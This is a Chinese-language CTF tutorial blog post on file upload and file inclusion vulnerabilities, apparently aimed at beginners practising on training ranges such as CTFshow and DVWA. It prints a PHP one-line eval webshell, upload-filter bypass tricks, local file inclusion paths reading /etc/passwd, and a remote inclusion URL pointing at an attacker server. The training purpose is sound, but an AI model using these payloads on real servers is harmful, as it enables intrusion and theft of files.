CTF Web模块系列分享(四):文件上传/包含漏洞,突破服务器的文件屏障

CTF Web模块系列分享(四):文件上传/包含漏洞,突破服务器的文件屏障

CTF Web模块系列分享(四):文件上传/包含漏洞,突破服务器的文件屏障

上期我们拆解了XSS和CSRF这两个客户端漏洞。

今天咱们进入系列的第四期——文件上传/包含漏洞专题。这两类漏洞堪称Web模块的服务器突破神器,核心逻辑是让服务器执行不该执行的文件,在CTF中属于中高频题型,很多中等难度的Web题都围绕这两个漏洞展开。学会这两个漏洞,你的Web解题能力会再上一个台阶!

今天的内容依旧是原理+实战的模式,先拆清楚两个漏洞的核心逻辑,再用具体题目手把手教你解题,新手也能轻松跟上。

一、先分清:文件上传和文件包含的核心区别

很多新手会把这两个漏洞放在一起学,因为它们经常搭配出现,但核心逻辑完全不同,先记牢区别:

  • 文件上传漏洞:攻击者将恶意文件(比如一句话木马)上传到服务器,只要服务器能执行这个文件,就能获取服务器权限。
  • 文件包含漏洞:服务器的脚本代码中使用了包含文件的函数(比如PHP的include),攻击者通过控制包含的文件路径,让服务器执行恶意文件(可以是本地文件,也可以是远程文件)。

通俗总结: 文件上传是“把坏文件放到服务器上”; 文件包含是“让服务器主动去读并执行坏文件”。

二、文件上传漏洞:核心逻辑与实战绕过

文件上传漏洞的本质是:服务器对用户上传的文件过滤不严格(比如只检查文件名后缀、MIME类型),导致恶意脚本文件被成功上传,并且能被服务器执行。

1. 新手必懂的3种基础绕过方式

CTF中文件上传的过滤方式很多,新手先掌握这3种最基础的绕过技巧,能解决60%的基础题:

  • 后缀名绕过

原理:服务器只禁止了php、asp等常见脚本后缀,没禁止php5、phtml等不常见后缀(这些后缀在部分配置下也能被执行);

操作:将恶意文件的后缀改为php5、phtml、php3等,比如把shell.php改为shell.php5再上传。

  • MIME类型绕过

原理:服务器只检查文件的MIME类型(比如图片文件的MIME是image/jpeg),不检查文件内容;

操作:用Burp抓包,将文件的Content-Type字段改为合法的MIME类型(比如image/jpeg、image/png),比如把php文件的Content-Type从application/octet-stream改为image/jpeg。

  • 文件内容伪装绕过

原理:服务器检查文件头部是否为图片格式(比如JPG文件头部是FF D8 FF),不检查后续内容;

操作:在php文件开头添加图片头部内容(比如FF D8 FF),保存为jpg后缀,再结合后缀名绕过或MIME绕过上传。

2. 实战演练:文件上传绕过拿shell

以CTFshow新手场的文件上传题目为例,解题步骤:

题目场景
打开题目链接,是一个图片上传页面,提示“仅允许上传jpg、png格式图片”,我们需要上传一句话木马文件,获取服务器权限后找到Flag。

解题步骤

  • 准备一句话木马:新建txt文件,写入PHP一句话木马(新手常用):<?php @eval($\_POST\['cmd'\]);?>,保存为shell.php;
  • 测试后缀过滤:直接上传shell.php,页面提示“文件格式不允许”,说明后缀被过滤;
  • 尝试后缀名绕过:将shell.php改为shell.php5,再次上传,页面提示“上传成功”,并返回文件路径(比如http://题目地址/upload/shell.php5);
  • 连接一句话木马:用蚁剑、菜刀等工具,输入文件路径,设置连接密码为cmd,连接成功后即可获取服务器文件列表;
  • 查找Flag:在服务器根目录、/var/www/html、/tmp等常见目录中查找Flag文件,打开即可获取Flag(格式:flag{xxx})。

三、文件包含漏洞:核心逻辑与实战利用

文件包含漏洞的本质是:服务器脚本(比如PHP)使用了动态包含文件的函数(include、require),并且包含的文件路径由用户控制,没有做严格过滤,导致攻击者可以指定包含恶意文件。

1. 新手必懂的2种包含类型

  • 本地文件包含(LFI)

原理:包含服务器本地的文件,比如包含/etc/passwd(Linux系统用户文件)、phpinfo.php等;

常见场景:URL参数为文件路径,比如http://题目地址/index.php?file=home.php,其中file参数控制包含的文件。

  • 远程文件包含(RFI)

原理:包含远程服务器上的文件(比如攻击者服务器上的恶意脚本),需要服务器开启allow_url_include配置;

常见场景:URL参数为远程文件地址,比如http://题目地址/index.php?file=http://攻击者服务器/shell.txt。

2. 实战演练:本地文件包含找Flag

以CTFshow新手场的本地文件包含题目为例,解题步骤:

题目场景
打开题目链接,URL为http://题目地址/index.php?file=welcome.txt,页面显示welcome内容,我们需要通过file参数包含本地文件,找到Flag。

解题步骤

  • 测试文件包含漏洞:将URL改为http://题目地址/index.php?file=phpinfo.php,页面显示phpinfo信息,说明存在本地文件包含漏洞;
  • 尝试包含常见敏感文件:将URL改为http://题目地址/index.php?file=/etc/passwd(Linux系统),页面显示系统用户信息,说明可以包含系统文件;
  • 查找Flag文件:根据题目提示或CTF常见Flag路径,尝试包含/flag、/var/www/html/flag.php等路径,将URL改为http://题目地址/index.php?file=/flag,页面直接显示Flag(格式:flag{xxx})。

四、新手避坑&学习建议

文件上传重点记“绕过思路”:不要死记payload,要理解服务器的过滤逻辑,针对性绕过。

文件包含注意“路径拼接”:如果题目中file参数有固定前缀(比如file=./include/xxx),需要用…/跳转目录(比如file=…/…/flag)。

必备工具:Burp Suite(抓包改包)、蚁剑/菜刀(连接一句话木马)。

推荐靶场:CTFshow新手场(文件上传/包含专题)、DVWA(中难度模式)、Upload-Labs(专门练文件上传)。

五、下期预告

今天我们搞定了文件上传和文件包含这两个核心漏洞,下期我们将进入系列的最后一期——Web实战技巧总结,涵盖解题工具进阶使用、常见题型思路梳理、比赛答题技巧等,帮大家整合前面所学的知识,轻松应对CTF比赛中的Web题目。

如果今天的内容对你有帮助,别忘了点赞、在看,转发给一起学CTF的小伙伴~

CTF学习资源分享

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

给大家准备了2套关于CTF的教程,一套是涵盖多个知识点的专题视频教程:

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

在这里插入图片描述

另一套是大佬们多年征战CTF赛事的实战经验,也是视频教程:

在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

Read more

解锁AIGC新时代:通义万相2.1与蓝耘智算平台的完美结合引领AI内容生成革命

解锁AIGC新时代:通义万相2.1与蓝耘智算平台的完美结合引领AI内容生成革命

前言 通义万相2.1作为一个开源的视频生成AI模型,在发布当天便荣登了VBench排行榜的榜首,超越了Sora和Runway等业内巨头,展现出惊人的潜力。模型不仅能够生成1080P分辨率的视频,而且没有时长限制,能够模拟自然动作,甚至还可以还原物理规律,这在AIGC领域中简直堪称革命性突破。通过蓝耘智算平台,我们能够轻松部署这个模型,创建属于自己的AI视频生成工具。今天,我将为大家深入探讨通义万相2.1的强大功能,并分享如何利用蓝耘智算平台快速入门。 蓝耘智算平台 1. 平台概述 蓝耘智算平台是一个为高性能计算需求设计的云计算平台,提供强大的计算能力与灵活服务。平台基于领先的基础设施和大规模GPU算力,采用现代化的Kubernetes架构,专为大规模GPU加速工作负载而设计,满足用户多样化的需求。 2. 核心优势 * 硬件层: 蓝耘智算平台支持多型号GPU,包括NVIDIA A100、V100、H100等高性能显卡,能够通过高速网络实现多机多卡并行计算,突破单机算力瓶颈。 * 软件层: 集成Kubernetes与Docker技术,便于任务迁移与隔离;支持PyTo

【记录】Copilot|Github Copilot重新学生认证通过方法(2025年7月,包括2FA和认证材料、Why are you not on campus)

【记录】Copilot|Github Copilot重新学生认证通过方法(2025年7月,包括2FA和认证材料、Why are you not on campus)

文章目录 * 前言 * 步骤 * 最重要的一步 前言 事实上,Github Copilot马上就要开源了,我原本的认证过期了。但是在我体验了众多的代码补全工具实在是太难用了之后,我觉得一天也等不了了,就去再一次认证了学生认证。 这次严格了很多,要求巨无敌多,这里写一下新认证要干的事情。 一口气认证了八次的含金量谁懂,把要踩的坑全踩完了。。 步骤 (如果你是第一次认证还要额外添加一下自己的学校邮箱,这里我就略过不提了) 在所有的步骤之前,最好确保你的本人就在学校或者在学校附近。当你出现了报错You appear not to be near any campus location for the school you have selected.时,会非常难通过。 而其他的报错可以按我下文这种方式通过。 (对于部分学校,比如华科大)双重认证Two-factor authentication要打开:跳转这个网站https://github.com/settings/security,然后点下一步开启认证,

NVIDIA Isaac Sim 结合 ROS2 在无人机室内导航的应用:从仿真到实战的全维度解析

前言:室内导航的技术困境与仿真革命 在天津某冷链物流中心的深夜,一架四旋翼无人机正试图穿过仅 0.8 米宽的货架通道。机腹的深度相机在低温下闪烁着蓝光,却因货架金属表面的反光产生了大量噪点。地面控制终端上,定位坐标如同醉酒般摇摆 —— 这不是设备故障,而是室内无人机导航面临的典型挑战。当 GPS 信号被混凝土墙体完全屏蔽,当 Wi-Fi 信号在密集货架间剧烈波动,当视觉传感器被光照变化和相似场景迷惑,无人机如何像在室外那样自如穿梭? 这个问题的答案藏在两个技术领域的交叉点上:高保真仿真平台与机器人操作系统。NVIDIA Isaac Sim 作为基于 Omniverse 的物理精确仿真环境,提供了从像素到牛顿的全尺度模拟能力;而 ROS2(Robot Operating System 2)则作为机器人控制的 "神经中枢",实现了感知、决策与执行的模块化协作。当这两者结合,不仅解决了室内导航算法开发的成本与风险问题,更构建了一条从虚拟测试到物理部署的无缝桥梁。 本文将以 4 万字篇幅,通过 50

深入解析VR与AR:从技术原理到未来图景

引言 虚拟现实(VR)和增强现实(AR)正逐步从科幻概念演变为改变我们工作、娱乐和社交方式的核心技术。它们通过数字内容与现实世界的融合,重塑了人机交互的边界。本文将系统分析两者的定义、技术架构、应用场景、当前挑战及未来趋势,帮助您全面理解这一变革性领域。 一、核心定义与区别 维度虚拟现实 (VR)增强现实 (AR)混合现实 (MR)概念完全由计算机生成的虚拟环境,用户沉浸其中,与物理世界隔绝将数字信息叠加到真实世界之上,用户同时看到虚实内容数字对象与真实世界实时交互,并相互影响(AR的进阶)沉浸感完全沉浸(封闭式)部分沉浸(透视式)虚实融合,具有空间锚定和物理交互典型设备Oculus Quest, HTC Vive, PlayStation VRMicrosoft HoloLens, Google Glass, 手机AR(ARKit/ARCore)Microsoft HoloLens 2, Magic Leap核心技术头显显示、